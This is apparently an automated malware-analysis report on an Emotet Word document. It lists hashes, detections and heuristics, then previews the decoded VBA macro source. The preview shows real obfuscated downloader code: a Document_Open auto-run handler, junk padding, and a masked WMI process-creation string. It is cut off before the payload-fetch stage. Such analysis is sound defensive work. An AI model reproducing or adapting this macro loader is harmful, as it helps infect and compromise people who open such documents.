Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7dc9821a27cbc29b…

MALICIOUS

Office (OLE)

223.0 KB Created: 2020-08-28 23:30:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 21b3a9b03027779dc3070481a468b211 SHA-1: 6cbaadce0d5e96e9183d01363e26ea7fe8c6cc62 SHA-256: 7dc9821a27cbc29bddb4bb3c708aad0b24a82d9beb1a2df9caeabf7ea6bd8e06
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with a signature indicating it's an Emotet downloader. Heuristics confirm the presence of VBA macros, specifically a Document_Open auto-execution macro that utilizes CreateObject, indicative of malicious intent. The VBA code is heavily obfuscated, but its structure suggests it's designed to download and execute a secondary payload, a common Emotet tactic.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16112 bytes
SHA-256: d6a6cc4926447260e20be5c98cf6c33eed2faf08a67f312888123a777f910057
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "V1vnl3la5nhxv7"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
H3wkjv081x4co0vat.D1n98zrf0liyijz4
End Sub


Attribute VB_Name = "H3wkjv081x4co0vat"
Attribute VB_Base = "0{9A80046A-8253-4AFE-91AE-60956BE9A438}{0281F684-EFA7-4CFC-A729-814AAA6C40FC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function D1n98zrf0liyijz4()
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
X2o5e5a54lj4tow = 100
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
O3ht0tcmcq_fpyrh = ChrW(X2o5e5a54lj4tow + (yyyy + 5 + bbbbb + 10))
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
A1545jzumco = "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0si2n3(((((h 2289(7 2379((0snm2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sgm2n3(((((h 2289(7 2379((0st2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s" + O3ht0tcmcq_fpyrh + "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s:2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0sin2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s32n3(((((h 2289(7 2379((0s22n3(((((h 2289(7 2379((0s_2n3(((((h 2289(7 2379((0s" + H3wkjv081x4co0vat.U7wflnidgd6jtu14 + "2n3(((((h 2289(7 2379((0sro2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sce2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0s"
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Ves77m25x3g6ux5qwe = Zlb0jg1k_ab_ij(A1545jzumco)
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DV
... (truncated)